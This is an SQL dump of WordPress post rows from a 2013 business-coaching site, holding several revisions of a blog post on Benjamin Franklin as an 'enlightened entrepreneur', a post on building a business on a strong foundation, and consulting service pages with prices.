(2450, 2, '2013-08-12 18:57:51', '2013-08-13 01:57:51', '<h1><img class="alignnone size-full wp-image-2437" title="Ben Franklin Major Dude" src="http://whc.fbdev.org/wp-content/uploads/2013/08/benfranklin.jpg" alt="" width="492" height="340" /> Long before there were personal development gurus lurking in every corner of the Internet, we had the timeless wisdom and example of Benjamin Franklin.</h1>\r\nGood ol Ben Franklin!  What a major dude that guy was! Unlike his contempories, he was self-made.  He’s a remarkable example of the “enlightened entrepreneur” that we would all do well to study–especially in this hyper-connected digital, socially connected world we are currently living in.\r\n\r\nOl Ben’s approach to personal /professional development, innovation and service is a model we all might consider following. More so, if you are a creative entrepreneur or solo professional in the process of creating your next big thing!\r\n\r\nMy own appreciation of Ben Franklin as a mentor began early in my career when I was a struggling graphic designer. But not just for his writing, printing and publishing innovations, rather for his values and philosophy–which he masterfully embedded into his many astounding accomplishments as an entrepreneur. (His amazing feats as a statesman are a whole other discussion).\r\n\r\n<strong>The enlightened, creative entrepreneur.</strong>\r\n\r\nFor me, Ben Franklin is the epitome of the enlightened, creative entrepreneur.\r\n\r\nAlmost two centuries ago, the great economist and philosopher Joseph Schumpeter, in his <em>Theory of Economic Development, </em>dismissed material gain as a driving force motivating entrepreneurs. He suggests two motivations far more important than money:\r\n\r\n1)    Entrepreneurs love creating, making something out of nothing, exercising their unique talents and ingenuity\r\n\r\n2)    Entrepreneurs want to succeed for its own sake, not for the fruits of success, but the experience of accomplishment itself.\r\n<h2>Entrepreneurship, practiced by the likes of Ben Franklin, entails so much more than mere moneymaking. Ben practiced a philosophy of personal development rare in any age.</h2>\r\nFor Ben Franklin, the fruits of success (money-making) were the means, never the end. Most, if not all, of Franklin’s businesses (as well as his inventions) were designed for the good of his community, not for his personal profit. Franklin was purpose-driven! His version of 18<sup>th</sup> century enlightened entrepreneurship was way ahead of his time–and so desperately needed in our capitalist-consumer-driven culture today.\r\n\r\n<strong>Virture, character and service. </strong>\r\n\r\nHere’s another good idea on serving customers from ol Ben himself written in his autobiography:\r\n<h3><em>“Knowledge is not for the personal property of its discoverer, but the common property of all. As we enjoy great advantages from the inventions of others, we should be glad of an opportunity to serve others by any invention of our own, and this we should do freely and generously”</em></h3>\r\nTell that to Apple and Samsung fighting over their patents to control markets.\r\n\r\nFranklin is not suggesting innovation be free of charge. Heavens no! Franklin’s businesses were rolling in dough! That’s why he retired in his early forties. The big idea here says that serving others creates prosperity for all. This is why he had so much impact and influence in the world and will be forever remembered for his virtue, character and service.\r\n\r\n<strong>Ben Franklin’s simple and elegant formula for success.</strong>\r\n\r\nAnd finally, here’s the simple and elegant formula for personal growth and effectiveness Franklin employed as a primary discipline throughout his entire life.\r\n\r\nFranklin began every day with the “Morning Question”.\r\n\r\n“What good shall I do this day?”\r\n\r\nHe ended every day with the “Evening Question”.\r\n\r\n“What good have I done today”?\r\n\r\nIf you want a better future with more impact, influence and income, I can’t think of a better habit to form. There’s a reason they put ol Ben’s kisser on a C-note. And for all of you in my little Ojai coffee shop who wonder what I’m writing in my journal everyday, now you know.', 'The Benjamin Franklin Model for Personal Effectiveness.', 0, '', 'inherit', 'open', 'open', '', '2436-revision-13', '', '', '2013-08-12 18:57:51', '2013-08-13 01:57:51', '', 2436, 'http://www.whitehotcenter.com/2013/08/2436-revision-13/', 0, 'revision', '', 0),
(2451, 2, '2013-08-12 19:01:47', '2013-08-13 02:01:47', '<h1><img class="alignnone size-full wp-image-2437" title="Ben Franklin Major Dude" src="http://whc.fbdev.org/wp-content/uploads/2013/08/benfranklin.jpg" alt="" width="492" height="340" /> Long before there were personal development gurus lurking in every corner of the Internet, we had the timeless wisdom and example of Benjamin Franklin.</h1>\r\nGood ol Ben Franklin!  What a major dude that guy was! Unlike his contempories, he was self-made.  He’s a remarkable example of the “enlightened entrepreneur” that we would all do well to study–especially in this hyper-connected digital, socially connected world we are currently living in.\r\n\r\nOl Ben’s approach to personal /professional development, innovation and service is a model we all might consider following. More so, if you are a creative entrepreneur or solo professional in the process of creating your next big thing!\r\n\r\nMy own appreciation of Ben Franklin as a mentor began early in my career when I was a struggling graphic designer. But not just for his writing, printing and publishing innovations, rather for his values and philosophy–which he masterfully embedded into his many astounding accomplishments as an entrepreneur. (His amazing feats as a statesman are a whole other discussion).\r\n\r\n<strong>The enlightened, creative entrepreneur.</strong>\r\n\r\nFor me, Ben Franklin is the epitome of the enlightened, creative entrepreneur.\r\n\r\nAlmost two centuries ago, the great economist and philosopher Joseph Schumpeter, in his <em>Theory of Economic Development, </em>dismissed material gain as a driving force motivating entrepreneurs. He suggests two motivations far more important than money:\r\n\r\n1)    Entrepreneurs love creating, making something out of nothing, exercising their unique talents and ingenuity\r\n\r\n2)    Entrepreneurs want to succeed for its own sake, not for the fruits of success, but the experience of accomplishment itself.\r\n<h2>Entrepreneurship, practiced by the likes of Ben Franklin, entails so much more than mere moneymaking. Ben practiced a philosophy of personal development rare in any age.</h2>\r\nFor Ben Franklin, the fruits of success (money-making) were the means, never the end. Most, if not all, of Franklin’s businesses (as well as his inventions) were designed for the good of his community, not for his personal profit. Franklin was purpose-driven! His version of 18<sup>th</sup> century enlightened entrepreneurship was way ahead of his time–and so desperately needed in our capitalist-consumer-driven culture today.\r\n\r\n<strong>Virture, character and service. </strong>\r\n\r\nHere’s another good idea on serving customers from ol Ben himself written in his autobiography:\r\n<h3><em>“Knowledge is not for the personal property of its discoverer, but the common property of all. As we enjoy great advantages from the inventions of others, we should be glad of an opportunity to serve others by any invention of our own, and this we should do freely and generously”</em></h3>\r\nTell that to Apple and Samsung fighting over their patents to control markets.\r\n\r\nFranklin is not suggesting innovation be free of charge. Heavens no! Franklin’s businesses were rolling in dough! That’s why he retired in his early forties. The big idea here says that serving others creates prosperity for all. This is why he had so much impact and influence in the world and will be forever remembered for his virtue, character and service.\r\n\r\n<strong>Ben Franklin’s simple and elegant formula for success.</strong>\r\n\r\nAnd finally, here’s the simple and elegant formula for personal growth and effectiveness that Franklin employed as a primary discipline throughout his entire life.\r\n\r\nFranklin began every day with the “Morning Question”.\r\n\r\n“What good shall I do this day?”\r\n\r\nHe ended every day with the “Evening Question”.\r\n\r\n“What good have I done today”?\r\n\r\nIf you want a better future with more impact, influence and income, I can’t think of a better habit to form. There’s a reason they put ol Ben’s kisser on a C-note. And for all of you in my little Ojai coffee shop who wonder what I’m writing in my journal everyday, now you know.', 'The Benjamin Franklin Model for Personal Effectiveness.', 0, '', 'inherit', 'open', 'open', '', '2436-revision-14', '', '', '2013-08-12 19:01:47', '2013-08-13 02:01:47', '', 2436, 'http://www.whitehotcenter.com/2013/08/2436-revision-14/', 0, 'revision', '', 0);
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(2452, 2, '2013-08-12 19:02:01', '2013-08-13 02:02:01', '<h1><img class="alignnone size-full wp-image-2437" title="Ben Franklin Major Dude" src="http://whc.fbdev.org/wp-content/uploads/2013/08/benfranklin.jpg" alt="" width="492" height="340" /> Long before there were personal development gurus lurking in every corner of the Internet, we had the timeless wisdom and example of Benjamin Franklin.</h1>\r\nGood ol Ben Franklin!  What a major dude that guy was! Unlike his contempories, he was self-made.  He’s a remarkable example of the “enlightened entrepreneur” that we would all do well to study–especially in this hyper-connected digital, socially connected world we are currently living in.\r\n\r\nOl Ben’s approach to personal /professional development, innovation and service is a model we all might consider following. More so, if you are a creative entrepreneur or solo professional in the process of creating your next big thing!\r\n\r\nMy own appreciation of Ben Franklin as a mentor began early in my career when I was a struggling graphic designer. But not just for his writing, printing and publishing innovations, rather for his values and philosophy–which he masterfully embedded into his many astounding accomplishments as an entrepreneur. (His amazing feats as a statesman are a whole other discussion).\r\n\r\n<strong>The enlightened, creative entrepreneur.</strong>\r\n\r\nFor me, Ben Franklin is the epitome of the enlightened, creative entrepreneur.\r\n\r\nAlmost two centuries ago, the great economist and philosopher Joseph Schumpeter, in his <em>Theory of Economic Development, </em>dismissed material gain as a driving force motivating entrepreneurs. He suggests two motivations far more important than money:\r\n\r\n1)    Entrepreneurs love creating, making something out of nothing, exercising their unique talents and ingenuity\r\n\r\n2)    Entrepreneurs want to succeed for its own sake, not for the fruits of success, but the experience of accomplishment itself.\r\n<h2>Entrepreneurship, practiced by the likes of Ben Franklin, entails so much more than mere moneymaking. Ben practiced a philosophy of personal development rare in any age.</h2>\r\nFor Ben Franklin, the fruits of success (money-making) were the means, never the end. Most, if not all, of Franklin’s businesses (as well as his inventions) were designed for the good of his community, not for his personal profit. Franklin was purpose-driven! His version of 18<sup>th</sup> century enlightened entrepreneurship was way ahead of his time–and so desperately needed in our capitalist-consumer-driven culture today.\r\n\r\n<strong>Virture, character and service. </strong>\r\n\r\nHere’s another good idea on serving customers from ol Ben himself written in his autobiography:\r\n<h3><em>“Knowledge is not for the personal property of its discoverer, but the common property of all. As we enjoy great advantages from the inventions of others, we should be glad of an opportunity to serve others by any invention of our own, and this we should do freely and generously”</em></h3>\r\nTell that to Apple and Samsung fighting over their patents to control markets.\r\n\r\nFranklin is not suggesting innovation be free of charge. Heavens no! Franklin’s businesses were rolling in dough! That’s why he retired in his early forties. The big idea here says that serving others creates prosperity for all. This is why he had so much impact and influence in the world and will be forever remembered for his virtue, character and service.\r\n\r\n<strong>Ben Franklin’s simple and elegant formula for success.</strong>\r\n\r\nAnd finally, here’s the simple and elegant formula for personal growth and effectiveness that Franklin employed as a primary discipline throughout his entire life.\r\n\r\nFranklin began every day with the “Morning Question”.\r\n\r\n“What good shall I do this day?”\r\n\r\nHe ended every day with the “Evening Question”.\r\n\r\n“What good have I done today”?\r\n\r\nIf you want a better future with more impact, influence and income, I can’t think of a better habit to form. There’s a reason they put ol Ben’s kisser on a C-note. And for all of you in my little Ojai coffee shop who wonder what I’m writing in my journal everyday, now you know.', 'The Benjamin Franklin Model for Personal Effectiveness.', 0, '', 'inherit', 'open', 'open', '', '2436-revision-15', '', '', '2013-08-12 19:02:01', '2013-08-13 02:02:01', '', 2436, 'http://www.whitehotcenter.com/2013/08/2436-revision-15/', 0, 'revision', '', 0),
(2486, 2, '2013-08-20 18:45:16', '2013-08-21 01:45:16', '<h1><img class="alignnone size-full wp-image-2487" title="mason-foundation" src="http://whc.fbdev.org/wp-content/uploads/2013/08/mason-foundation.jpg" alt="" width="495" height="389" />Ask any architect and they will tell you the most important aspect of design is not the structure but the foundation. To design a business that endures, you’ll have to build it on a solid foundation.</h1>\r\nFoundations aren’t as glamorous as the stunning design of the architecture itself, but they are critical to supporting not only the weight of the building, but essential to withstand the constant movement of the earth and the erosion of the soil around it. Like any great structure, nothing is more fundamental to the enduring success of your business vision than a strong foundation on which your bigger future will rest upon.\r\n\r\n<strong>The foundation you create will determine the stability and sustainability of your enterprise.</strong>\r\n\r\nThe majority of my professional career has been helping business leaders, entrepreneurs and solo professionals build enduring foundations underneath their big ideas. I have always considered it sacred work–like a mid-wife helping to birth new ideas, products and services into the marketplace. Strong foundations are the beginning of success. If you don’t have one firmly in place, it’ll be next to impossible for your big idea to withstand the winds of eroding criticism, competition and the unpredictable forces of marketplace change.\r\n\r\nWhen creative entrepreneurs are visioning their future, the first actions they will undertake is finding the right soil for building their dream on. Excellent builders (and dreamers) start at the ground level…in the dirt building a foundation worthy of their highest ideals and biggest vision!\r\n<h2><strong>Building a strong foundation for your vision, big idea and business is the most important attribute in creating value for others.</strong></h2>\r\nHere’s what you need to consider before you break ground on your next big idea:\r\n\r\n<strong>Build your foundation on good ground. </strong>\r\nDon’t build your castles in the sand is a timeless cliché you’ve heard time and again. It’s also timeless advice many entrepreneurs have failed to heed.  In the rush to get somewhere, some like to take shortcuts. Your philosophy of life is your “good ground”. The good ground of your philosophy will include your purpose, your true north, your values, knowledge, character and integrity. Does your philosophy support the successful design of your future?  Is your philosophy solid as bedrock or liquid as sand?\r\n\r\n<strong>Your foundation must fit naturally into the landscape that surrounds it.</strong>\r\nIn architecture it’s called site planning. In business it’s called strategic planning. Your foundation has to fit naturally and beautifully into the lay of the land otherwise known as the marketplace. How you position your foundation relative to your talent, skills, capabilities and knowledge and how that will fit into the marketplace are critical in defining your unique value to customers. You must know the lay of the land, your customer’s / client’s desires, hopes, aspirations and needs. Where do you fit? Who do you serve?\r\n\r\n<strong>Strong foundations go deep into the ground.</strong>\r\nIf you have an Empire State Building size idea or vision, you’ll have to build your foundation deep into the ground. This means you must focus all your creative energy on deep and narrow expertise. What is the “one thing” that makes your business highly valued and distinctive among all other choices? Develop deep knowledge in the one thing you love and serves the good of others … don’t generalize–specialize! Big ideas require deep foundations!\r\n\r\n<strong>Strong foundations are well designed and engineered.</strong>\r\nHow your products, services and customer experiences are designed is a critical element in the foundation of your business. How you create and deliver value requires elegant engineering and good design…everything in the experience of doing business with you must be well thought out and properly executed. This is foundational to the make-up of extraordinary companies and brands. Design matters and determines competitive advantage. Make your strong and enduring foundation beautiful!\r\n\r\n<strong>Strong foundations are made of quality materials.</strong>\r\nIf your dreams, vision and business will stand the test of time, it must be comprised of the highest quality materials. Build your foundation in association with high quality partners, collaborators, and employees. People whose passion for excellence and success is equal and greater to your own. A foundation is only as strong as the quality of materials used. Trusted relationships are what bond everything together.\r\n\r\n<strong>A strong foundation will protect your investment.</strong>\r\nIf you’re planning to put something remarkable and extraordinary on top of your foundation, you will need to invest a great deal of time, energy and money. The quality of your foundation must support and protect the investment you make in your future. Building foundations is not glamorous work. Remember just because most of your foundation is below ground and not seen by your customers, doesn’t mean you can compromise any aspect of its integrity. The lasting value of your business depends upon a solid foundation.\r\n\r\n<em>If you found this post helpful, please subscribe above.</em>\r\n\r\n<strong><em>The White Hot Center Business Transformation Workshop provides an opportunity to go deeper into these ideas. It’s happening November 8 2013 in Ojai, California. <a title="Quantum Leap Workshop Registration" href="http://whc.fbdev.org/hot-info/" target="_blank">Learn more here.</a></em></strong>\r\n\r\n&nbsp;', 'Build your future vision on a strong foundation', 0, '', 'publish', 'open', 'open', '', 'building-your-future-on-a-strong-foundation', '', '', '2013-08-21 06:42:19', '2013-08-21 13:42:19', '', 0, 'http://www.whitehotcenter.com/?p=2486', 0, 'post', '', 0),
(2454, 2, '2013-08-13 09:27:17', '2013-08-13 16:27:17', '<h1><img class="alignnone size-full wp-image-2437" title="Ben Franklin Major Dude" src="http://whc.fbdev.org/wp-content/uploads/2013/08/benfranklin.jpg" alt="" width="492" height="340" /> Long before there were personal development gurus lurking in every corner of the Internet, we had the timeless wisdom and example of Benjamin Franklin.</h1>\nGood ol Ben Franklin!  What a major dude that guy was! Unlike the other founders of our nation, he was self-made.  He’s a remarkable example of the “enlightened entrepreneur” that we would all do well to study–especially in this hyper-connected digital, socially connected world we are currently living in.\n\nOl Ben’s approach to personal /professional development, innovation and service is a model we all might consider following. More so, if you are a creative entrepreneur or solo professional in the process of creating your next big thing!\n\nMy own appreciation of Ben Franklin as a mentor began early in my career when I was a struggling graphic designer. But not just for his writing, printing and publishing innovations, rather for his values and philosophy–which he masterfully embedded into his many astounding accomplishments as an entrepreneur. (His amazing feats as a statesman are a whole other discussion).\n\n<strong>The enlightened, creative entrepreneur.</strong>\n\nFor me, Ben Franklin is the epitome of the enlightened, creative entrepreneur.\n\nAlmost two centuries ago, the great economist and philosopher Joseph Schumpeter, in his <em>Theory of Economic Development, </em>dismissed material gain as a driving force motivating entrepreneurs. He suggests two motivations far more important than money:\n\n1)    Entrepreneurs love creating, making something out of nothing, exercising their unique talents and ingenuity\n\n2)    Entrepreneurs want to succeed for its own sake, not for the fruits of success, but the experience of accomplishment itself.\n<h2>Entrepreneurship, practiced by the likes of Ben Franklin, entails so much more than mere moneymaking. Ben practiced a philosophy of personal development rare in any age.</h2>\nFor Ben Franklin, the fruits of success (money-making) were the means, never the end. Most, if not all, of Franklin’s businesses (as well as his inventions) were designed for the good of his community, not for his personal profit. Franklin was purpose-driven! His version of 18<sup>th</sup> century enlightened entrepreneurship was way ahead of his time–and so desperately needed in our capitalist-consumer-driven culture today.\n\n<strong>Virture, character and service. </strong>\n\nHere’s another good idea on serving customers from ol Ben himself written in his autobiography:\n<h3><em>“Knowledge is not for the personal property of its discoverer, but the common property of all. As we enjoy great advantages from the inventions of others, we should be glad of an opportunity to serve others by any invention of our own, and this we should do freely and generously”</em></h3>\nTell that to Apple and Samsung fighting over their patents to control markets.\n\nFranklin is not suggesting innovation be free of charge. Heavens no! Franklin’s businesses were rolling in dough! That’s why he retired in his early forties. The big idea here says that serving others creates prosperity for all. This is why he had so much impact and influence in the world and will be forever remembered for his virtue, character and service.\n\n<strong>Ben Franklin’s simple and elegant formula for success.</strong>\n\nAnd finally, here’s the simple and elegant formula for personal growth and effectiveness that Franklin employed as a primary discipline throughout his entire life.\n\nFranklin began every day with the “Morning Question”.\n\n“What good shall I do this day?”\n\nHe ended every day with the “Evening Question”.\n\n“What good have I done today”?\n\nIf you want a better future with more impact, influence and income, I can’t think of a better habit to form. There’s a reason they put ol Ben’s kisser on a C-note. And for all of you in my little Ojai coffee shop who wonder what I’m writing in my journal everyday, now you know.', 'The Benjamin Franklin Model for Personal Effectiveness.', 0, '', 'inherit', 'open', 'open', '', '2436-autosave', '', '', '2013-08-13 09:27:17', '2013-08-13 16:27:17', '', 2436, 'http://www.whitehotcenter.com/2013/08/2436-autosave/', 0, 'revision', '', 0),
(2455, 2, '2013-08-12 19:06:07', '2013-08-13 02:06:07', '<h1><img class="alignnone size-full wp-image-2437" title="Ben Franklin Major Dude" src="http://whc.fbdev.org/wp-content/uploads/2013/08/benfranklin.jpg" alt="" width="492" height="340" /> Long before there were personal development gurus lurking in every corner of the Internet, we had the timeless wisdom and example of Benjamin Franklin.</h1>\r\nGood ol Ben Franklin!  What a major dude that guy was! Unlike his contempories, he was self-made.  He’s a remarkable example of the “enlightened entrepreneur” that we would all do well to study–especially in this hyper-connected digital, socially connected world we are currently living in.\r\n\r\nOl Ben’s approach to personal /professional development, innovation and service is a model we all might consider following. More so, if you are a creative entrepreneur or solo professional in the process of creating your next big thing!\r\n\r\nMy own appreciation of Ben Franklin as a mentor began early in my career when I was a struggling graphic designer. But not just for his writing, printing and publishing innovations, rather for his values and philosophy–which he masterfully embedded into his many astounding accomplishments as an entrepreneur. (His amazing feats as a statesman are a whole other discussion).\r\n\r\n<strong>The enlightened, creative entrepreneur.</strong>\r\n\r\nFor me, Ben Franklin is the epitome of the enlightened, creative entrepreneur.\r\n\r\nAlmost two centuries ago, the great economist and philosopher Joseph Schumpeter, in his <em>Theory of Economic Development, </em>dismissed material gain as a driving force motivating entrepreneurs. He suggests two motivations far more important than money:\r\n\r\n1)    Entrepreneurs love creating, making something out of nothing, exercising their unique talents and ingenuity\r\n\r\n2)    Entrepreneurs want to succeed for its own sake, not for the fruits of success, but the experience of accomplishment itself.\r\n<h2>Entrepreneurship, practiced by the likes of Ben Franklin, entails so much more than mere moneymaking. Ben practiced a philosophy of personal development rare in any age.</h2>\r\nFor Ben Franklin, the fruits of success (money-making) were the means, never the end. Most, if not all, of Franklin’s businesses (as well as his inventions) were designed for the good of his community, not for his personal profit. Franklin was purpose-driven! His version of 18<sup>th</sup> century enlightened entrepreneurship was way ahead of his time–and so desperately needed in our capitalist-consumer-driven culture today.\r\n\r\n<strong>Virture, character and service. </strong>\r\n\r\nHere’s another good idea on serving customers from ol Ben himself written in his autobiography:\r\n<h3><em>“Knowledge is not for the personal property of its discoverer, but the common property of all. As we enjoy great advantages from the inventions of others, we should be glad of an opportunity to serve others by any invention of our own, and this we should do freely and generously”</em></h3>\r\nTell that to Apple and Samsung fighting over their patents to control markets.\r\n\r\nFranklin is not suggesting innovation be free of charge. Heavens no! Franklin’s businesses were rolling in dough! That’s why he retired in his early forties. The big idea here says that serving others creates prosperity for all. This is why he had so much impact and influence in the world and will be forever remembered for his virtue, character and service.\r\n\r\n<strong>Ben Franklin’s simple and elegant formula for success.</strong>\r\n\r\nAnd finally, here’s the simple and elegant formula for personal growth and effectiveness that Franklin employed as a primary discipline throughout his entire life.\r\n\r\nFranklin began every day with the “Morning Question”.\r\n\r\n“What good shall I do this day?”\r\n\r\nHe ended every day with the “Evening Question”.\r\n\r\n“What good have I done today”?\r\n\r\nIf you want a better future with more impact, influence and income, I can’t think of a better habit to form. There’s a reason they put ol Ben’s kisser on a C-note. And for all of you in my little Ojai coffee shop who wonder what I’m writing in my journal everyday, now you know.', 'The Benjamin Franklin Model for Personal Effectiveness.', 0, '', 'inherit', 'open', 'open', '', '2436-revision-16', '', '', '2013-08-12 19:06:07', '2013-08-13 02:06:07', '', 2436, 'http://www.whitehotcenter.com/2013/08/2436-revision-16/', 0, 'revision', '', 0),
(2456, 2, '2013-08-13 17:18:35', '2013-08-14 00:18:35', '', 'powersession', 0, '', 'inherit', 'open', 'open', '', 'powersession', '', '', '2013-08-13 17:18:35', '2013-08-14 00:18:35', '', 138, 'http://www.whitehotcenter.com/wp-content/uploads/2009/04/powersession.jpg', 0, 'attachment', 'image/jpeg', 0),
(2457, 2, '2013-08-13 17:20:08', '2013-08-14 00:20:08', '', 'Quantumleap', 0, '', 'inherit', 'open', 'open', '', 'quantumleap', '', '', '2013-08-13 17:20:08', '2013-08-14 00:20:08', '', 138, 'http://www.whitehotcenter.com/wp-content/uploads/2009/04/Quantumleap.jpg', 0, 'attachment', 'image/jpeg', 0),
(2459, 2, '2013-08-04 12:23:43', '2013-08-04 19:23:43', '<h2><img class="alignnone size-full wp-image-1571" title="innovation.cover_" src="http://whc.fbdev.org/wp-content/uploads/2009/04/innovation.cover_.jpg" alt="" width="500" height="265" />\r\n<img class="alignnone size-full wp-image-2365" title="Thomson Facilitating Workshop" src="http://whc.fbdev.org/wp-content/uploads/2009/04/unconference.jpg" alt="" width="495" height="188" /></h2>\r\n<h2><strong style="color: #ff6600;">In one-on-one and group workshop settings, I work exclusively with early stage creative entrepreneurs and solo professionals to inspire, guide and create ideas to help them gain greater clarity and confidence to pursue their best opportunities to have more impact, influence and income. </strong></h2>\r\n<strong>My clients are CEO''s and their teams in early stage and emerging companies across diverse product and professional service categories.</strong><strong> I offer issue-based consulting in professional development, brand marketing, communications and business development strategies to guide you and your team to focus on new ideas and tactics to master the inner game (creative plane), and outer game (physical plane) of business (and life) success in four essential disciplines:</strong>\r\n\r\n<strong>Leadership</strong>\r\nExpanding the quality of your presence and influence in the marketplace by elevating your thoughts, your effectiveness, and your contributions to others.\r\n\r\n<strong>Lifestyle Design</strong>\r\nDeveloping a compelling vision for your total life/business experience based solely on what truly matters to you, leverages your unique talents, and brings you greater joy, fulfillment and deep satisfaction.\r\n\r\n<strong>Value Creation</strong>\r\nInnovation and creativity to design ways to monetize what deeply matters to you in forms that are highly valued by the marketplace.\r\n\r\n<strong>Demand Generation</strong>\r\nExpand your impact, influence and competitive advantage through sales, marketing, business development and communication strategies that position your business as highly valued by the best customers and clients, and removes you from the slush pile of competitors.\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>Quantum Leap\r\nBusiness Development Consulting</h2>\r\nConsulting and coaching tailored to the specific needs of forward thinking, early-stage creative entrepreneurs  who want to be more effective in every aspect of their personal and professional life. Through insight, guidance and creativity, I''ll help you focus on your best opportunities, leverage your personal strengths and effectiveness, and gain more clarity and confidence by an order of magnitude to make a quantum leap in your business development success.\r\n\r\n<strong>This consulting program is designed to help those entrepreneurs currently generating at least $150,000 in annual gross revenue.</strong>\r\n\r\nYou shouldn’t be surprised to learn that peak performance and unconventional success will require unconventional thinking. Quantum leaps require the type of thinking that removes the safety and security of your current beliefs so you can accelerate your rate of achievement.  Many of my clients want to double or triple their ccurrent income. I''ll help you to kick up your game!  I''ll advise you (and your team) to shift your thinking from limits and obstacles to potential and possibilities. I can help increase your awareness, clarity and confidence to pursue your best opportunities to experience your bigger, better future.\r\n\r\n<strong>On-going business development and management consulting that will inspire you to increase the quality of your presence in every aspect of your business and life success, and provide tools and maps to help you get there. Our consulting format is highly flexible, (and virtual) involving weekly personal and online interaction that will enable you to laser focus on innovative ideas and practices to make a quantum leap to your next level of business and life success.\r\n</strong>\r\n\r\n<span style="color: #ff6600;"><strong>Investment: $2,500 USD, monthly with a 3-month minimum engagement\r\n</strong></span>\r\n\r\n<strong><img class="alignnone size-full wp-image-2366" title="Thomson &amp; Client" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomsonw.client.jpg" alt="" width="495" height="332" /></strong>\r\n<h2><strong>Why work with me?</strong></h2>\r\n<strong>Three decades of business development expertise.</strong>\r\n\r\n<strong> </strong>I know first-hand the focus and discipline necessary to successfully attract, develop and serve high value clients and customers that represent a bigger future doing the type of work that matters to you and creates sustained financial success. I also know from my own experience the daily challenges and struggles with value creation, business development, managing client/customer expectations, managing staff and collaborators that face all creative entrepreneurs and solo professionals along their way to building a business that brings them joy, deep personal satisfaction and sustanable profit. Allow me to help you create the success you desire!\r\n\r\nMy clients want clarity to lock onto a big vision for their future, and the confidence to pursue the right action with passion and discipline. I can help you get “there” by keeping you in the right frame of mind to create and innovate the type of business that gives you far more energy than what it takes from you. I can help you build a foundation for your business success that brings you joy, freedom, fulfillment, deep satisfaction, and financial success!\r\n<h2><a title="Getting my business to the next level!" href="mailto://thomson@whitehotcenter.com" target="_blank"><span style="color: #ff6600;">Send me an email! </span></a></h2>\r\n<strong>Briefly outline your current business circumstances, and what your expectations are for a positive outcome from working together. From there, we can arrange a telephone conversation to determine if there''s a good fit. My purpose is to inspire and provide ideas you can implement immediately to get you one step closer to realizing your vision for your bigger future. </strong><strong>On-site individual and team consulting in a one-day strategic workshop format are also available.</strong>\r\n<p style="color: #ff6600;"><strong><span style="color: #ff6600;">I am looking forward to working with you.</span></strong></p>', 'Create more impact, influence and income!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2013-08-04 12:23:43', '2013-08-04 19:23:43', '', 138, 'http://www.whitehotcenter.com/2013/08/138-revision-194/', 0, 'revision', '', 0),
(2458, 2, '2013-08-13 17:21:21', '2013-08-14 00:21:21', '', 'thomsonwhc-workshop', 0, '', 'inherit', 'open', 'open', '', 'thomsonwhc-workshop', '', '', '2013-08-13 17:21:21', '2013-08-14 00:21:21', '', 138, 'http://www.whitehotcenter.com/wp-content/uploads/2009/04/thomsonwhc-workshop.jpg', 0, 'attachment', 'image/jpeg', 0),
(2463, 2, '2013-08-13 18:41:14', '2013-08-14 01:41:14', '<h2><img class="alignnone size-full wp-image-1571" title="innovation.cover_" src="http://whc.fbdev.org/wp-content/uploads/2009/04/innovation.cover_.jpg" alt="" width="500" height="265" />\r\n<img class="alignnone size-full wp-image-2365" title="Thomson Facilitating Workshop" src="http://whc.fbdev.org/wp-content/uploads/2009/04/unconference.jpg" alt="" width="495" height="188" /></h2>\r\n<h2>"My passion is helping you to turn your possibiilities into acheivement and improve your current business condition."</h2>\r\n<h6>Thomson Dawson\r\nStrategic Business Transformation Consultant\r\nTo Entrepreneurs and Solo Professionals</h6>\r\n<h2>In one-on-one consulting and group workshop settings, I work exclusively with creative entrepreneurs and solo professionals to inspire, guide and create ideas and strategies to help them gain greater clarity and confidence to pursue their best opportunities to experience more impact, influence and income.</h2>\r\nEvery entrepreneur, at every stage of business growth, will face challenges that block their progress. This is true for those at the beginning of their success journey, and for those whose established business has reached a plateau.\r\n\r\nMost entrepreneurs are heads down working hard in their business. Their days are usually consumed simply managing their current circumstances, few are innovating a strong foundation for their bigger better future.\r\n\r\nMy expertise will guide you and your team to focus on new ideas, strategies and tactics to master both your inner game (innovative and creative thinking), and your outer game (the quality of your presence in the marketplace) in four essential strategic disciplines:\r\n\r\n<strong>Leadership</strong>\r\nExpanding the quality of your presence and influence in the marketplace by elevating your thoughts, clarifying your purpose, enhance your effectiveness, and your contributions to the marketplace.\r\n\r\n<strong>Lifestyle Design</strong>\r\nDeveloping a compelling vision and designing the structure for your total life/business experience based solely on what truly matters to you, leverages your unique talents to serve customers and clients; and enables you to experience greater joy, fulfillment and deep satisfaction.\r\n\r\n<strong>Value Creation</strong>\r\nInnovation and creativity to design and develop your value proposition, products and services in forms that are highly valued by the marketplace.\r\n\r\n<strong>Demand Generation</strong>\r\nExpand your impact, influence and competitive advantage through brand development, marketing, communications, sales and business development strategies that position your business as highly valued by the best customers and clients, and elevates your business from the slush pile of competitors.\r\n<h2>Three strategic consulting options to help you get your business to the next level!</h2>\r\n&nbsp;\r\n\r\n<img class="alignnone size-full wp-image-2456" title="powersession" src="http://whc.fbdev.org/wp-content/uploads/2009/04/powersession.jpg" alt="" width="492" height="179" />\r\n\r\n<strong>Power Session Jams</strong>\r\nThe 1-on-1 Power Session Jam is a rent-my-brain-business-life-creative strategy-burn on your best ideas and opportunities to experience your next level of success. We’ll jam on issues currently blocking your business growth– maybe you need to rethink your whole scene, change your market, create higher value products, work with new partners, branding your business properly, get your web presence and social media strategy  happening, or find better clients and customers. Whatever the issue, we’ll quickly get to work helping you gain the clarity and confidence you need to help you break free and get moving in the direction of your desire right from the git go!\r\n<h6><strong>Investment: $500 USD (through PayPal)<em>\r\n</em></strong></h6>\r\n<h3><span style="color: #f87f06;"><em><a title="Book my Power Session" href="mailto://thomson@whitehotcenter.com" target="_blank">Book your Power Session with Thomson.</a></em></span></h3>\r\n&nbsp;\r\n\r\n<img class="alignnone size-full wp-image-2457" title="Quantumleap" src="http://whc.fbdev.org/wp-content/uploads/2009/04/Quantumleap.jpg" alt="" width="492" height="179" />\r\n\r\n<strong>Quantum Leap Business Transformation Consulting</strong>\r\nStrategic consulting tailored to the specific needs and challenges of forward thinking, creative entrepreneurs, solo professionals and small business organizations who are inventing a new business, launching new products or transforming their business for the next level of growth. Through insight, guidance and creativity, we’ll work together to focus on your best opportunities, leverage your personal strengths and effectiveness, and gain more clarity and confidence in the strategic 